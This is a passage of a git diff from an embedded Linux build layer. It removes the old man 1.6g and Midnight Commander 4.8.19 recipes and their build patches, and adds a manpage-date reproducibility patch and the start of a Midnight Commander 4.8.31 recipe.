-builds. Also, fix compile warnings in a couple other files.
-
-Upstream-Status: Pending
-
-Signed-off-by: Bill Randle <william.c.randle@intel.com>
-
---- man-1.6g/man/Makefile.in.orig 2016-03-28 17:31:08.723949180 -0700
-+++ man-1.6g/man/Makefile.in 2016-03-28 17:46:12.866910386 -0700
-@@ -5,6 +5,13 @@
- ALL = man.1 whatis.1 apropos.1 man.config.5
- MAYBE8 = makewhatis
-
-+SUBDIRS := $(shell echo @languages@)
-+
-+.PHONY: subdirs $(SUBDIRS)
-+
-+man.config.man: man.conf.man
-+ @cp $< $@
-+
- .SUFFIXES: .man .1 .5 .8
-
- .man.1:
-@@ -19,11 +26,11 @@
- INSTALL = @INSTALL@ -c -m 644
-
- # Where to put the manual pages.
--mandir = $(DESTDIR)$(PREFIX)@mandir@$(SLANG)
-+mandir := $(DESTDIR)$(PREFIX)@mandir@$(SLANG)
-
- all: $(ALL)
- for i in $(MAYBE8); \
-- do if test -f $$i.man; then make -f ../Makefile $$i.8; fi; done
-+ do if test -f $$i.man; then $(MAKE) -f ../Makefile $$i.8; fi; done
-
- install: $(ALL)
- mkdir -p $(mandir)/man1 $(mandir)/man5 $(mandir)/man8
-@@ -38,24 +45,27 @@
- rm -f core *.in *.@man1ext@ *.@man5ext@ *.@man8ext@ *~
-
- spotless:
-+ rm -f man.config.man
-
- subdirs:
-- @for i in @languages@; do if test -d $$i; then echo; \
-- echo "==== Making the `cat $$i.txt` man pages. ===="; \
-- cd $$i; make -f ../Makefile; cd ..; \
-- else echo "==== No $$i man pages found. ===="; fi; done
-+subdirs: $(SUBDIRS)
-+$(SUBDIRS):
-+ if test -d $@; then echo; \
-+ echo "==== Making the `cat $@.txt` man pages. ===="; \
-+ $(MAKE) -C $@ -f ../Makefile all; \
-+ else echo "==== No $@ man pages found. ===="; fi
-
- installsubdirs:
- @for i in @languages@; do if test -d $$i; then echo; \
- echo "==== Installing the `cat $$i.txt` man pages. ===="; \
- cd $$i; SLANG=/$$i; if test $$SLANG = /en; then SLANG= ; fi; \
-- export SLANG; make -f ../Makefile install; cd ..; \
-+ export SLANG; $(MAKE) -f ../Makefile install; cd ..; \
- else echo "==== No $$i man pages found. ===="; fi; done
-
- cleansubdirs:
-- @for i in ??; do cd $$i; make -f ../Makefile clean; cd ..; done
-+ @for i in ??; do $(MAKE) -C $$i -f ../Makefile clean; done
- rm -f core *~
-
- spotlesssubdirs:
-- for i in ??; do cd $$i; make -f ../Makefile spotless; cd ..; done
-+ for i in ??; do $(MAKE) -C $$i -f ../Makefile spotless; done
- rm -f Makefile
-
---- man-1.6g/src/gripes.c.orig 2006-11-21 11:53:44.000000000 -0800
-+++ man-1.6g/src/gripes.c 2016-03-30 16:32:31.601103487 -0700
-@@ -7,8 +7,6 @@
-
- extern char *msg[];
-
--static char *mantexts = "man"; /* e.g. /usr/lib/locale/%L/man.cat */
--
- #ifdef NONLS
-
- static char *
-@@ -30,6 +28,8 @@
- #include <nl_types.h>
- #include "../catopen/catopen.c"
-
-+static char *mantexts = "man"; /* e.g. /usr/lib/locale/%L/man.cat */
-+
- nl_catd catfd = (nl_catd) -1;
- int cat_is_open = 0;
-
---- man-1.6g/src/manfile.c.orig 2005-08-20 16:26:06.000000000 -0700
-+++ man-1.6g/src/manfile.c 2016-03-29 09:10:21.527841285 -0700
-@@ -299,7 +299,7 @@
- const char *((*tocat)(const char *man_filename, const char *ext,
- int flags))) {
- char **sl;
-- struct manpage *res;
-+ struct manpage *res = 0;
-
- standards = (flags & (FHS | FSSTND | DO_HP | DO_IRIX));
- to_cat_filename = tocat;
diff --git a/meta/recipes-extended/man/man/man-1.6g-configure.patch b/meta/recipes-extended/man/man/man-1.6g-configure.patch
deleted file mode 100644
index 106cc98781..0000000000
--- a/meta/recipes-extended/man/man/man-1.6g-configure.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-Use BUILD_CC and target include files for configuration tests.
-If cross-compiling, force pathnames for helper programs, since
-autodiscovery by the configure script will not work.
-
-Upstream-Status: Pending
-
-Signed-off-by: Bill Randle <william.c.randle at intel.com>
-
---- man-1.6g/configure.orig 2016-03-28 17:46:12.734910976 -0700
-+++ man-1.6g/configure 2016-03-30 21:47:45.110572908 -0700
-@@ -216,7 +216,8 @@
- INCLUDEDIR=${INCLUDEDIR-/usr/include}
-
- rm -f conftest conftest.c
--compile="$CC $DEFS conftest.c -o conftest $LIBS >/dev/null 2>&1"
-+# since we are interested in target feature support, use that sysroot
-+compile="$BUILD_CC -isystem/${PKG_CONFIG_SYSROOT_DIR}/usr/include $DEFS conftest.c -o conftest $LIBS >/dev/null 2>&1"
-
- # Check for various header files.
-
-@@ -455,19 +456,23 @@
- fi
- done
- done
-- Fgroff=/usr/bin/groff
-- Fnroff=/usr/bin/nroff
-- Fjnroff=/usr/bin/nroff
-- Fgeqn=/usr/bin/geqn
-- Fgtbl=/usr/bin/gtbl
-- Fcol=/usr/bin/col
-- Fgrefer=/usr/bin/grefer
-- Fgpic=/usr/bin/gpic
-- Fmore=/bin/more
-- Fless=/usr/bin/less
-- Fcmp=/usr/bin/cmp
-- Fcat=/bin/cat
-- Fgawk=/bin/gawk
-+ if [ $BUILD_CC != $CC ]; then
-+ # cross compiling => target fs not available, so force defaults
-+ Fgroff=/usr/bin/groff
-+ Fnroff=/usr/bin/nroff
-+ Fjnroff=/usr/bin/nroff
-+ Fgeqn=/usr/bin/eqn
-+ Fgneqn=/usr/bin/neqn
-+ Fgtbl=/usr/bin/tbl
-+ Fcol=/usr/bin/col
-+ Fgrefer=/usr/bin/refer
-+ Fgpic=/usr/bin/pic
-+ Fmore=/bin/more
-+ Fless=/usr/bin/less
-+ Fcmp=/usr/bin/cmp
-+ Fcat=/bin/cat
-+ Fgawk=/usr/bin/gawk
-+ fi
-
-
- for i in eqn tbl refer pic
-@@ -507,8 +512,8 @@
- jnroff="$Fjnroff -Tutf8 -mandocj"
- fi
- eqn="$Fgeqn -Tps"
-- neqn="$Fgeqn -Tutf8"
-- jneqn="$Fgeqn -Tutf8"
-+ neqn="$Fgneqn -Tutf8"
-+ jneqn="$Fgneqn -Tutf8"
- tbl="$Fgtbl"
- col="$Fcol"
- vgrind="$Fvgrind"
diff --git a/meta/recipes-extended/man/man/man-1.6g-parallel.patch b/meta/recipes-extended/man/man/man-1.6g-parallel.patch
deleted file mode 100644
index 72a88b898a..0000000000
--- a/meta/recipes-extended/man/man/man-1.6g-parallel.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-The Makefile for man has a rule to create two generated targets with
-a program run from the shell. Because the rule was run twice, with
-parallel make, the generated files were being overwritten at the same
-time they were being compiled. This patch forces the rule to be run
-only once.
-
-Upstream-Status: Pending
-
-Signed-off-by: Bill Randle <william.c.randle at intel.com>
-
---- man-1.6g/src/Makefile.in.orig 2010-12-31 12:28:46.000000000 -0800
-+++ man-1.6g/src/Makefile.in 2016-03-28 09:09:16.845458798 -0700
-@@ -43,8 +43,10 @@
- makemsg:
- $(BUILD_CC) -o makemsg makemsg.c
-
--msg.c gripedefs.h: ../msgs/mess.en makemsg
-+msg.c gripedefs.h: genfiles-stamp
-+genfiles-stamp: ../msgs/mess.en makemsg
- ./makemsg ../msgs/mess.en gripedefs.h msg.c
-+ touch genfiles-stamp
-
- # glob.c does not have prototypes
- glob.o: glob.c ndir.h
-@@ -117,4 +119,4 @@
-
- spotless: clean
- rm -f Makefile config.status paths.h version.h man.conf
-- rm -f gripedefs.h msg.c mess.*.cat
-+ rm -f gripedefs.h msg.c mess.*.cat genfiles-stamp
diff --git a/meta/recipes-extended/man/man/man-1.6g-whatis3.patch b/meta/recipes-extended/man/man/man-1.6g-whatis3.patch
deleted file mode 100644
index 6334456857..0000000000
--- a/meta/recipes-extended/man/man/man-1.6g-whatis3.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Do not use absolute path for awk while getting the path of awk
-when running makewhatis.
-This can avoid errors if path of awk changes.
-
-Upstream-Status: Submitted [man-1.6g]
-
-Signed-off-by: Jian Liu <jian.liu@windriver.com>
-
-diff -Nur man-1.6g.orig/src/makewhatis.sh man-1.6g/src/makewhatis.sh
---- man-1.6g.orig/src/makewhatis.sh 2015-02-25 16:13:12.657611419 +0800
-+++ man-1.6g/src/makewhatis.sh 2015-02-25 16:14:49.334694815 +0800
-@@ -67,7 +67,7 @@
- # but that leads to problems and bugs.
-
- # AWK=/usr/bin/gawk
--AWK=@awk@
-+AWK=`which awk`
-
- # Find a place for our temporary files. If security is not a concern, use
- # TMPFILE=/tmp/whatis$$; TMPFILEDIR=none
diff --git a/meta/recipes-extended/man/man/man.1.gz b/meta/recipes-extended/man/man/man.1.gz
deleted file mode 100644
index c368045153..0000000000
--- a/meta/recipes-extended/man/man/man.1.gz
+++ /dev/null
Binary files differ
diff --git a/meta/recipes-extended/man/man/man.7.gz b/meta/recipes-extended/man/man/man.7.gz
deleted file mode 100644
index e85af82426..0000000000
--- a/meta/recipes-extended/man/man/man.7.gz
+++ /dev/null
Binary files differ
diff --git a/meta/recipes-extended/man/man/man.conf b/meta/recipes-extended/man/man/man.conf
deleted file mode 100644
index fc10be2758..0000000000
--- a/meta/recipes-extended/man/man/man.conf
+++ /dev/null
@@ -1,141 +0,0 @@
-#
-# Generated automatically from man.conf.in by the
-# configure script.
-#
-# man.conf from man-1.5p
-#
-# For more information about this file, see the man pages man(1)
-# and man.conf(5).
-#
-# This file is read by man to configure the default manpath (also used
-# when MANPATH contains an empty substring), to find out where the cat
-# pages corresponding to given man pages should be stored,
-# and to map each PATH element to a manpath element.
-# It may also record the pathname of the man binary. [This is unused.]
-# The format is:
-#
-# MANBIN pathname
-# MANPATH manpath_element [corresponding_catdir]
-# MANPATH_MAP path_element manpath_element
-#
-# If no catdir is given, it is assumed to be equal to the mandir
-# (so that this dir has both man1 etc. and cat1 etc. subdirs).
-# This is the traditional Unix setup.
-# Certain versions of the FSSTND recommend putting formatted versions
-# of /usr/.../man/manx/page.x into /var/catman/.../catx/page.x.
-# The keyword FSSTND will cause this behaviour.
-# Certain versions of the FHS recommend putting formatted versions of
-# /usr/.../share/man/[locale/]manx/page.x into
-# /var/cache/man/.../[locale/]catx/page.x.
-# The keyword FHS will cause this behaviour (and overrides FSSTND).
-# Explicitly given catdirs override.
-#
-# FSSTND
-FHS
-#
-# This file is also read by man in order to find how to call nroff, less, etc.,
-# and to determine the correspondence between extensions and decompressors.
-#
-# MANBIN /usr/local/bin/man
-#
-# Every automatically generated MANPATH includes these fields
-#
-MANPATH /usr/man
-MANPATH /usr/share/man
-MANPATH /usr/local/man
-MANPATH /usr/local/share/man
-MANPATH /usr/X11R6/man
-#
-# Uncomment if you want to include one of these by default
-#
-# MANPATH /opt/*/man
-# MANPATH /usr/lib/*/man
-# MANPATH /usr/share/*/man
-# MANPATH /usr/kerberos/man
-#
-# Set up PATH to MANPATH mapping
-#
-# If people ask for "man foo" and have "/dir/bin/foo" in their PATH
-# and the docs are found in "/dir/man", then no mapping is required.
-#
-# The below mappings are superfluous when the right hand side is
-# in the mandatory manpath already, but will keep man from statting
-# lots of other nearby files and directories.
-#
-MANPATH_MAP /bin /usr/share/man
-MANPATH_MAP /sbin /usr/share/man
-MANPATH_MAP /usr/bin /usr/share/man
-MANPATH_MAP /usr/sbin /usr/share/man
-MANPATH_MAP /usr/local/bin /usr/local/share/man
-MANPATH_MAP /usr/local/sbin /usr/local/share/man
-MANPATH_MAP /usr/X11R6/bin /usr/X11R6/man
-MANPATH_MAP /usr/bin/X11 /usr/X11R6/man
-MANPATH_MAP /usr/bin/mh /usr/share/man
-#
-# NOAUTOPATH keeps man from automatically adding directories that look like
-# manual page directories to the path.
-#
-#NOAUTOPATH
-#
-# NOCACHE keeps man from creating cache pages ("cat pages")
-# (generally one enables/disable cat page creation by creating/deleting
-# the directory they would live in - man never does mkdir)
-#
-#NOCACHE
-#
-# Useful paths - note that COL should not be defined when
-# NROFF is defined as "groff -Tascii" or "groff -Tlatin1";
-# not only is it superfluous, but it actually damages the output.
-# For use with utf-8, NROFF should be "nroff -mandoc" without -T option.
-# (Maybe - but today I need -Tlatin1 to prevent double conversion to utf8.)
-#
-# If you have a new troff (version 1.18.1?) and its colored output
-# causes problems, add the -c option to TROFF, NROFF, JNROFF.
-#
-TROFF /usr/bin/groff -Tps -mandoc
-NROFF /usr/bin/nroff -Tlatin1 -mandoc
-JNROFF /usr/bin/groff -Tnippon -mandocj
-EQN /usr/bin/eqn -Tps
-NEQN /usr/bin/eqn -Tlatin1
-JNEQN /usr/bin/eqn -Tnippon
-TBL /usr/bin/tbl
-# COL /usr/bin/col
-REFER /usr/bin/refer
-PIC /usr/bin/pic
-VGRIND
-GRAP
-PAGER /usr/bin/less -isR
-CAT /bin/cat
-#
-# The command "man -a xyzzy" will show all man pages for xyzzy.
-# When CMP is defined man will try to avoid showing the same
-# text twice. (But compressed pages compare unequal.)
-#
-CMP /usr/bin/cmp -s
-#
-# Compress cat pages
-#
-COMPRESS /bin/bzip2
-COMPRESS_EXT .bz2
-#
-# Default manual sections (and order) to search if -S is not specified
-# and the MANSECT environment variable is not set.
-#
-MANSECT 1:1p:8:2:3:3p:4:5:6:7:9:0p:tcl:n:l:p:o
-#
-# Default options to use when man is invoked without options
-# This is mainly for the benefit of those that think -a should be the default
-# Note that some systems have /usr/man/allman, causing pages to be shown twice.
-#
-#MANDEFOPTIONS -a
-#
-# Decompress with given decompressor when input file has given extension
-# The command given must act as a filter.
-#
-.gz /bin/gunzip -c
-.bz2 /usr/bin/bunzip2 -c
-.xz /usr/bin/unxz -c
-.z
-.Z /bin/zcat
-.F
-.Y
diff --git a/meta/recipes-extended/man/man/manpath.5.gz b/meta/recipes-extended/man/man/manpath.5.gz
deleted file mode 100644
index c012ff8976..0000000000
--- a/meta/recipes-extended/man/man/manpath.5.gz
+++ /dev/null
Binary files differ
diff --git a/meta/recipes-extended/man/man_1.6g.bb b/meta/recipes-extended/man/man_1.6g.bb
deleted file mode 100644
index ff603f842c..0000000000
--- a/meta/recipes-extended/man/man_1.6g.bb
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Online documentation tools"
-DESCRIPTION = "A set of documentation tools: man, apropos and whatis"
-SECTION = "console/utils"
-HOMEPAGE = "http://primates.ximian.com/~flucifredi/man"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b"
-
-PR = "r1"
-
-DEPENDS = "groff less"
-
-def compress_pkg(d):
- if "compress_doc" in (d.getVar("INHERIT") or "").split():
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_${PN} += "${@compress_pkg(d)}"
-
-SRC_URI = "http://pkgs.fedoraproject.org/lookaside/pkgs/man2html/${BP}.tar.gz/ba154d5796928b841c9c69f0ae376660/${BP}.tar.gz \
- file://man-1.5k-confpath.patch;striplevel=0 \
- file://man-1.5h1-make.patch \
- file://man-1.5k-nonascii.patch \
- file://man-1.6e-security.patch \
- file://man-1.6e-mandirs.patch \
- file://man-1.5m2-bug11621.patch \
- file://man-1.5k-sofix.patch \
- file://man-1.5m2-buildroot.patch \
- file://man-1.6e-ro_usr.patch \
- file://man-1.5i2-newline.patch;striplevel=0 \
- file://man-1.5j-utf8.patch \
- file://man-1.5i2-overflow.patch \
- file://man-1.5j-nocache.patch \
- file://man-1.5i2-initial.patch \
- file://man-1.5h1-gencat.patch;striplevel=0 \
- file://man-1.5g-nonrootbuild.patch \
- file://man-1.5j-i18n.patch \
- file://man-1.6e-whatis2.patch \
- file://man-1.6e-use_i18n_vars_in_a_std_way.patch \
- file://man-1.5m2-no-color-for-printing.patch \
- file://man-1.5m2-sigpipe.patch \
- file://man-1.6e-i18n_whatis.patch \
- file://man-1.6e-new_sections.patch \
- file://man.1.gz;unpack=false \
- file://man.7.gz;unpack=false \
- file://man.conf \
- file://manpath.5.gz;unpack=false \
- file://man-1.6g-whatis3.patch \
- file://configure_sed.patch \
- file://man-1.6g-parallel.patch \
- file://man-1.6g-compile-warnings.patch \
- file://man-1.6g-configure.patch \
-"
-
-SRC_URI[md5sum] = "ba154d5796928b841c9c69f0ae376660"
-SRC_URI[sha256sum] = "ccdcb8c3f4e0080923d7e818f0e4a202db26c46415eaef361387c20995b8959f"
-
-CFLAGS += "-DSYSV"
-
-do_configure () {
- ${S}/configure -default -confdir /etc +sgid +fhs +lang all
-}
-
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-do_install_append(){
- mkdir -p ${D}${sysconfdir}
- mkdir -p ${D}${datadir}/man/man5
- mkdir -p ${D}${datadir}/man/man7
- cp ${WORKDIR}/man.conf ${D}${sysconfdir}/man.config
- cp ${WORKDIR}/man.1.gz ${D}${datadir}/man/man1/
- cp ${WORKDIR}/man.7.gz ${D}${datadir}/man/man7/
- cp ${WORKDIR}/manpath.5.gz ${D}${datadir}/man/man5/
-}
-
-
-RDEPENDS_${PN} = "less groff"
-FILES_${PN} += "${datadir}/locale ${sysconfdir}/man.config"
diff --git a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index bf8037cd28..0000000000
--- a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,129 +0,0 @@
-From cdc7c278212ae836eecb4cc9d42c29443cc128a0 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 6 Apr 2017 02:24:28 -0700
-Subject: [PATCH] mc: replace "perl -w" with "use warnings"
-
-The shebang's max length is usually 128 as defined in
-/usr/include/linux/binfmts.h:
- #define BINPRM_BUF_SIZE 128
-
-There would be errors when @PERL@ is longer than 128, use
-'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
-doesn't work:
-
-/usr/bin/env: perl -w: No such file or directory
-
-So replace "perl -w" with "use warnings" to make it work.
-
-The man2hlp.in already has "use warnings;", so just remove '-w' is OK.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- src/man2hlp/man2hlp.in | 2 +-
- src/vfs/extfs/helpers/a+.in | 4 +++-
- src/vfs/extfs/helpers/mailfs.in | 3 ++-
- src/vfs/extfs/helpers/patchfs.in | 3 ++-
- src/vfs/extfs/helpers/ulib.in | 4 +++-
- src/vfs/extfs/helpers/uzip.in | 3 ++-
- 6 files changed, 13 insertions(+), 6 deletions(-)
-
-diff --git a/src/man2hlp/man2hlp.in b/src/man2hlp/man2hlp.in
-index f095830..558a674 100644
---- a/src/man2hlp/man2hlp.in
-+++ b/src/man2hlp/man2hlp.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # Man page to help file converter
- # Copyright (C) 1994, 1995, 1998, 2000, 2001, 2002, 2003, 2004, 2005,
-diff --git a/src/vfs/extfs/helpers/a+.in b/src/vfs/extfs/helpers/a+.in
-index 579441c..fe446f4 100644
---- a/src/vfs/extfs/helpers/a+.in
-+++ b/src/vfs/extfs/helpers/a+.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # External filesystem for mc, using mtools
- # Written Ludek Brukner <lubr@barco.cz>, 1997
-@@ -9,6 +9,8 @@
-
- # These mtools components must be in PATH for this to work
-
-+use warnings;
-+
- sub quote {
- $_ = shift(@_);
- s/([^\w\/.+-])/\\$1/g;
-diff --git a/src/vfs/extfs/helpers/mailfs.in b/src/vfs/extfs/helpers/mailfs.in
-index e9455be..059f41f 100644
---- a/src/vfs/extfs/helpers/mailfs.in
-+++ b/src/vfs/extfs/helpers/mailfs.in
-@@ -1,6 +1,7 @@
--#! @PERL@ -w
-+#! @PERL@
-
- use bytes;
-+use warnings;
-
- # MC extfs for (possibly compressed) Berkeley style mailbox files
- # Peter Daum <gator@cs.tu-berlin.de> (Jan 1998, mc-4.1.24)
-diff --git a/src/vfs/extfs/helpers/patchfs.in b/src/vfs/extfs/helpers/patchfs.in
-index ef407de..3ad4b53 100644
---- a/src/vfs/extfs/helpers/patchfs.in
-+++ b/src/vfs/extfs/helpers/patchfs.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # Written by Adam Byrtek <alpha@debian.org>, 2002
- # Rewritten by David Sterba <dave@jikos.cz>, 2009
-@@ -9,6 +9,7 @@
-
- use bytes;
- use strict;
-+use warnings;
- use POSIX;
- use File::Temp 'tempfile';
-
-diff --git a/src/vfs/extfs/helpers/ulib.in b/src/vfs/extfs/helpers/ulib.in
-index 418611f..82c7ccf 100644
---- a/src/vfs/extfs/helpers/ulib.in
-+++ b/src/vfs/extfs/helpers/ulib.in
-@@ -1,9 +1,11 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # VFS to manage the gputils archives.
- # Written by Molnár Károly (proton7@freemail.hu) 2012
- #
-
-+use warnings;
-+
- my %month = ('jan' => '01', 'feb' => '02', 'mar' => '03',
- 'apr' => '04', 'may' => '05', 'jun' => '06',
- 'jul' => '07', 'aug' => '08', 'sep' => '09',
-diff --git a/src/vfs/extfs/helpers/uzip.in b/src/vfs/extfs/helpers/uzip.in
-index b1c4f90..c8eb335 100644
---- a/src/vfs/extfs/helpers/uzip.in
-+++ b/src/vfs/extfs/helpers/uzip.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # zip file archive Virtual File System for Midnight Commander
- # Version 1.4.0 (2001-08-07).
-@@ -9,6 +9,7 @@
- use POSIX;
- use File::Basename;
- use strict;
-+use warnings;
-
- #
- # Configuration options
---
-2.10.2
-
diff --git a/meta/recipes-extended/mc/files/0002-Ticket-3697-tty_init-unify-curses-initialization.patch b/meta/recipes-extended/mc/files/0002-Ticket-3697-tty_init-unify-curses-initialization.patch
deleted file mode 100644
index c54d4d0eae..0000000000
--- a/meta/recipes-extended/mc/files/0002-Ticket-3697-tty_init-unify-curses-initialization.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 4d46a108629beb66a293672db7b44f863b6598ba Mon Sep 17 00:00:00 2001
-From: Thomas Dickey <dickey@his.com>
-Date: Fri, 14 Apr 2017 14:06:13 +0300
-Subject: [PATCH] Ticket #3697: (tty_init): unify curses initialization
-
-...for various curses implementations.
-
-Signed-off-by: Andrew Borodin <aborodin@vmail.ru>
-
-Upstream-Status: Backport [https://github.com/MidnightCommander/mc.git]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- lib/tty/tty-ncurses.c | 26 +++++++++-----------------
- 1 file changed, 9 insertions(+), 17 deletions(-)
-
-diff --git a/lib/tty/tty-ncurses.c b/lib/tty/tty-ncurses.c
-index a7a11f3..8e69b39 100644
---- a/lib/tty/tty-ncurses.c
-+++ b/lib/tty/tty-ncurses.c
-@@ -179,6 +179,8 @@ mc_tty_normalize_lines_char (const char *ch)
- void
- tty_init (gboolean mouse_enable, gboolean is_xterm)
- {
-+ struct termios mode;
-+
- initscr ();
-
- #ifdef HAVE_ESCDELAY
-@@ -194,25 +196,15 @@ tty_init (gboolean mouse_enable, gboolean is_xterm)
- ESCDELAY = 200;
- #endif /* HAVE_ESCDELAY */
-
--#ifdef NCURSES_VERSION
-+ tcgetattr (STDIN_FILENO, &mode);
- /* use Ctrl-g to generate SIGINT */
-- cur_term->Nttyb.c_cc[VINTR] = CTRL ('g'); /* ^g */
-+ mode.c_cc[VINTR] = CTRL ('g'); /* ^g */
- /* disable SIGQUIT to allow use Ctrl-\ key */
-- cur_term->Nttyb.c_cc[VQUIT] = NULL_VALUE;
-- tcsetattr (cur_term->Filedes, TCSANOW, &cur_term->Nttyb);
--#else
-- /* other curses implementation (bsd curses, ...) */
-- {
-- struct termios mode;
--
-- tcgetattr (STDIN_FILENO, &mode);
-- /* use Ctrl-g to generate SIGINT */
-- mode.c_cc[VINTR] = CTRL ('g'); /* ^g */
-- /* disable SIGQUIT to allow use Ctrl-\ key */
-- mode.c_cc[VQUIT] = NULL_VALUE;
-- tcsetattr (STDIN_FILENO, TCSANOW, &mode);
-- }
--#endif /* NCURSES_VERSION */
-+ mode.c_cc[VQUIT] = NULL_VALUE;
-+ tcsetattr (STDIN_FILENO, TCSANOW, &mode);
-+
-+ /* curses remembers the "in-program" modes after this call */
-+ def_prog_mode ();
-
- tty_start_interrupt_key ();
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
new file mode 100644
index 0000000000..92fa443865
--- /dev/null
+++ b/meta/recipes-extended/mc/files/nomandate.patch
@@ -0,0 +1,32 @@
+From 78c5fd90a052f95157b3914c708a08b2eeab0154 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 4 Feb 2020 18:12:15 +0000
+Subject: [PATCH] mc: Fix manpage date indeterminism
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The man page date can vary depending upon the host perl, e.g. in Russian
+some versions print 'июнÑ', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
+Rather than depend upon perl-native to fix this, just remove the date from
+the manpages.
+
+RP 2020/2/4
+
+Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ doc/man/date-of-man-include.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
+index 96f9f10..d734c5d 100644
+--- a/doc/man/date-of-man-include.am
++++ b/doc/man/date-of-man-include.am
+@@ -1,5 +1,5 @@
+ SED_PARAMETERS = \
+- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
++ -e "s/%DATE_OF_MAN_PAGE%//g" \
+ -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
+ -e "s{%sysconfdir%{@sysconfdir@{g" \
+ -e "s{%libexecdir%{@libexecdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.19.bb b/meta/recipes-extended/mc/mc_4.8.19.bb
deleted file mode 100644
index b3a156caee..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.19.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Midnight Commander is an ncurses based file manager"
-HOMEPAGE = "http://www.midnight-commander.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
-SECTION = "console/utils"
-DEPENDS = "ncurses glib-2.0 util-linux"
-RDEPENDS_${PN} = "ncurses-terminfo"
-
-SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
- file://0001-mc-replace-perl-w-with-use-warnings.patch \
- file://0002-Ticket-3697-tty_init-unify-curses-initialization.patch \
- "
-SRC_URI[md5sum] = "ef423f5b6f80a1a5a5fc53b8324cab70"
-SRC_URI[sha256sum] = "d0dddfae7149fac903f74ef55cfcb2a198e0f7004346c7bded43669d61ba436f"
-
-inherit autotools gettext pkgconfig
-
-#
-# Both Samba (smb) and sftp require package delivered from meta-openembedded
-#
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
-PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
-
-EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
-
- rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
-}
-
-PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
-
-SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
-FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
- ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
- ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
- ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
- ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
- ${libexecdir}/mc/extfs.d/uzip"
-RDEPENDS_${BPN}-helpers-perl = "perl"
-
-SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts"
-FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
-
-SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts"
-FILES_${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mc/mc_4.8.31.bb b/meta/recipes-extended/mc/mc_4.8.31.bb
new file mode 100644
index 0000000000..69c32887a2
--- /dev/null
+++ b/meta/recipes-extended/mc/mc_4.8.31.bb
@@ -0,0 +1,57 @@
+SUMMARY = "Midnight Commander is an ncurses based file manager"
+HOMEPAGE = "http://www.midnight-commander.org/"
+DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
+LICENSE = "GPL-3.0-only"
